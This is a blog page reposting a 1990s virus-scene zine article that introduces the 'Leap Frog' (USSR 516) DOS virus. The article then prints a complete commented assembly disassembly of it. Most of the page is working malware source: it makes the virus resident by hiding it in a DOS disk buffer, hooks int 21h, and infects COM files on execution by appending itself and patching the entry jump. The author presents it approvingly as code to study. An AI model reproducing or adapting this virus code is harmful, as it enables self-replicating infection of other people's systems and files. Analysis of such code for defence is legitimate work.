Virus Spotlite on: Leap Frog - Kingdom Web's

Kingdom Web's

Welcome to Kingdom Web's. Extra Stuff!!! with 0% Charge. Totally Free The best way to Learn Free Courses and gain Ideas.

animated-nepal-flag-image-0007

Visitor Time

web tools

Tuesday, March 1, 2011

Virus Spotlite on: Leap Frog

It's always interesting to find new residency techniques.  I suppose everyone
by now is tired of the traditional high-memory loading routine and is on the
lookout for something different.  40Hex comes to the rescue!

This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
I have ever seen.  I was mucking around in VSUM and noticed that it, according
to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
Stacks."  She is, of course, not telling us the entire story.

 Leap Frog
basically latches onto and resides in a DOS disk buffer.  I do not know who
the author is, but I commend him for his innovative technique.  I took the
liberty of disassembling the virus which is given below.  It should be an
exact byte-for-byte matchup of the original carrier file (or at least should
be extremely similar).  The offsets are in their correct locations, etc, etc.
It is simple to understand and terribly efficient.

Although the coding is tight, there are some inconsistencies.  For
example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
in the code.  I also do not understand why the author decided to infect COM
files in such an abnormal way.  An interesting "feature" is the disabling of
Control-Break checking - a thoroughly unnecessary piece of code.  I believe
further that the line above "findmarker" should read:

                lds     di,dword ptr ds:[30h*4]

In any case, the code is otherwise very, very good.  It is great for studying
by newcomers and "oldtimers" alike.  Things to look for:
  Residency routine
  Lack of extensive use of relative offsets
  Use of stack frame in the interrupt handler
  Critical error handler

Enjoy!                                             Dark Angel of PHALCON/SKISM

ussr516         segment byte public
                assume  cs:ussr516, ds:ussr516
                org     100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub:           db      0e9h, 0, 0
                db      0e9h, 1, 0, 0
; This is where the virus really begins
start:
                push    ax
                call    beginvir

orig4           db      0cdh, 20h, 0, 0
int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
                                                       ; entry point
int21store      db      0, 0, 0, 0

beginvir:       pop     bp                             ; BP -> orig4
                mov     si,bp
                mov     di,103h
                add     di,[di-2]                      ; DI -> orig4
                movsw                                  ; restore original
                movsw                                  ; 4 bytes of program
                xor     si,si
                mov     ds,si
                les     di,dword ptr ds:[21h*4]
                mov     [bp+8],di                      ; int21store
                mov     [bp+0Ah],es
                lds     di,dword ptr ds:[30h*4+1]      ; Bug????
findmarker:
                inc     di
                cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
                jne     findmarker                     ; to the entry point
                mov     [bp+4],di                      ; and move to
                mov     [bp+6],ds                      ; int30store
                mov     ax,5252h                       ; Get list of lists
                int     21h                            ; and also ID check

                add     bx,12h                         ; Already installed?
                jz      quitvir                        ; then exit
                push    bx
                mov     ah,30h                         ; Get DOS version
                int     21h

                pop     bx                             ; bx = 12, ptr to 1st
                                                       ; disk buffer
                cmp     al,3
                je      handlebuffer                   ; if DOS 3
                ja      handleDBHCH                    ; if > DOS 3
                inc     bx                             ; DOS 2.X, offset is 13
handlebuffer:
                push    ds
                push    bx
                lds     bx,dword ptr [bx]              ; Get seg:off of buffer
                inc     si
                pop     di
                pop     es                             ; ES:DI->seg:off buff
                mov     ax,[bx]                        ; ptr to next buffer
                cmp     ax,0FFFFh                      ; least recently used?
                jne     handlebuffer                   ; if not, go find it
                cmp     si,3
                jbe     quitvir
                stosw
                stosw
                jmp     short movetobuffer
handleDBHCH:   ; Disk Buffer Hash Chain Head array
                lds     si,dword ptr [bx]              ; ptr to disk buffer
                lodsw                                  ; info
                lodsw                                  ; seg of disk buffer
                                                       ; hash chain head array
                inc     ax                             ; second entry
                mov     ds,ax
                xor     bx,bx
                mov     si,bx
                lodsw                                  ; EMS page, -1 if not
                                                       ; in EMS
                xchg    ax,di                          ; save in di
                lodsw                                  ; ptr to least recently
                                                       ; used buffer
                mov     [di+2],ax                      ; change disk buffer
                                                       ; backward offset to
                                                       ; least recently used
                xchg    ax,di                          ; restore EMS page
                mov     [di],ax                        ; set to least recently
movetobuffer:                                          ; used
                mov     di,bx
                push    ds
                pop     es                             ; ES:DI -> disk buffer
                push    cs
                pop     ds
                mov     cx,108h
                lea     si,[bp-4]                      ; Copy from start
                rep     movsw
                mov     ds,cx                          ; DS -> interrupt table
                mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
                mov     word ptr ds:[4*21h+2],es       ; at int21
quitvir:
                push    cs                             ; CS = DS = ES
                pop     es
                push    es
                pop     ds
                pop     ax
                mov     bx,ax
                mov     si, 100h                       ; set up stack for
                push    si                             ; the return to the
                retn                                   ; original program
int24:
                mov     al,3                           ; Ignore all errors
                iret
tickstore       db      3                              ; Why???
buffer          db      3, 0, 9, 0

int21:
                pushf
                cli                                    ; CP/M style call entry
                call    dword ptr cs:[int30store-start]
                retn                                   ; point of int 21h

int21DSDX:                                             ; For int 21h calls
                push    ds                             ; with
                lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
                call    int21
                pop     ds
                retn

                cmp     ax,4B00h                       ; Execute
                je      Execute
                cmp     ax,5252h                       ; ID check
                je      CheckID
                cmp     ah,30h                         ; DOS Version
                je      DosVersion
callorig21:                                            ; Do other calls
                jmp     dword ptr cs:[int21store-start]
DosVersion:    ; Why?????                             ; DOS Version
                dec     byte ptr cs:[tickstore-start]
                jnz     callorig21                     ; Continue if not 0
                push    es
                xor     ax,ax
                push    ax
                mov     es,ax
                mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
                                                       ; since midnight
                and     al,7                           ; MOD 15
                inc     ax
                inc     ax
                mov     cs:[tickstore-start],al        ; # 2-17
                pop     ax
                pop     es
                iret
CheckID:                                               ; ID Check
                mov     bx,0FFEEh                      ; FFEEh = -12h
                iret
Execute:                                               ; Execute
                push    ax                             ; Save registers
                push    cx
                push    es
                push    bx
                push    ds                             ; DS:DX -> filename
                push    dx                             ; save it on stack
                push    bp
                mov     bp,sp                          ; Set up stack frame
                sub     sp,0Ah                         ; Temporary variables
                                                       ; [bp-A] = attributes
                                                       ; [bp-8] = int 24 off
                                                       ; [bp-6] = int 24 seg
                                                       ; [bp-4] = file time
                                                       ; [bp-2] = file date
                sti
                push    cs
                pop     ds
                mov     ax,3301h                       ; Turn off ^C check
                xor     dl,dl                          ; (never turn it back
                call    int21                          ;  on.  Bug???)
                mov     ax,3524h                       ; Get int 24h
                call    int21                          ; (Critical error)
                mov     [bp-8],bx
                mov     [bp-6],es
                mov     dx,int24-start
                mov     ax,2524h                       ; Set to new one
                call    int21
                mov     ax,4300h                       ; Get attributes
                call    int21DSDX
                jnc     continue
doneinfect:
                mov     ax,2524h                       ; Restore crit error
                lds     dx,dword ptr [bp-8]            ; handler
                call    int21
                cli
                mov     sp,bp
                pop     bp
                pop     dx
                pop     ds
                pop     bx
                pop     es
                pop     cx
                pop     ax
                jmp     short callorig21               ; Call orig handler
continue:
                mov     [bp-0Ah],cx                    ; Save attributes
                test    cl,1                           ; Check if r/o????
                jz      noclearattr
                xor     cx,cx
                mov     ax,4301h                       ; Clear attributes
                call    int21DSDX                      ; Filename in DS:DX
                jc      doneinfect                     ; Quit on error
noclearattr:
                mov     ax,3D02h                       ; Open read/write
                call    int21DSDX                      ; Filename in DS:DX
                jc      doneinfect                     ; Exit if error
                mov     bx,ax
                mov     ax,5700h                       ; Save time/date
                call    int21
                mov     [bp-4],cx
                mov     [bp-2],dx
                mov     dx,buffer-start
                mov     cx,4
                mov     ah,3Fh                         ; Read 4 bytes to
                call    int21                          ; buffer
                jc      quitinf
                cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
                jne     quitinf                        ; Otherwise, quit
                mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
                dec     dx
                xor     cx,cx
                mov     ax,4201h                       ; go there
                call    int21
                mov     ds:[buffer-start],ax           ; new location offset
                mov     dx,orig4-start
                mov     cx,4
                mov     ah,3Fh                         ; Read 4 bytes there
                call    int21
                mov     dx,ds:[orig4-start]
                cmp     dl,0E9h                        ; 0E9h means we might
                jne     infect                         ; already be there
                mov     ax,ds:[orig4+2-start]          ; continue checking
                add     al,dh                          ; to see if we really
                sub     al,ah                          ; are there.
                jz      quitinf
infect:
                xor     cx,cx
                mov     dx,cx
                mov     ax,4202h                       ; Go to EOF
                call    int21
                mov     ds:[buffer+2-start],ax         ; save filesize
                mov     cx,204h
                mov     ah,40h                         ; Write virus
                call    int21
                jc      quitinf                        ; Exit if error
                sub     cx,ax
                jnz     quitinf
                mov     dx,ds:[buffer-start]
                mov     ax,ds:[buffer+2-start]
                sub     ax,dx
                sub     ax,3                           ; AX->jmp offset
                mov     word ptr ds:[buffer+1-start],ax; Set up buffer
                mov     byte ptr ds:[buffer-start],0E9h; code the jmp
                add     al,ah
                mov     byte ptr ds:[buffer+3-start],al
                mov     ax,4200h                       ; Rewind to jmploc
                call    int21
                mov     dx, buffer-start
                mov     cx,4                           ; Write in the jmp
                mov     ah,40h
                call    int21
quitinf:
                mov     cx,[bp-4]
                mov     dx,[bp-2]
                mov     ax,5701h                       ; Restore date/time
                call    int21
                mov     ah,3Eh                         ; Close file
                call    int21
                mov     cx,[bp-0Ah]                    ; Restore attributes
                mov     ax,4301h
                call    int21DSDX
                jmp     doneinfect                     ; Return
ussr516         ends
                end     stub

2 comments:

Anonymous said...

cool one dude

Anonymous said...

Really amazing body!!!!!!!!!!!!!!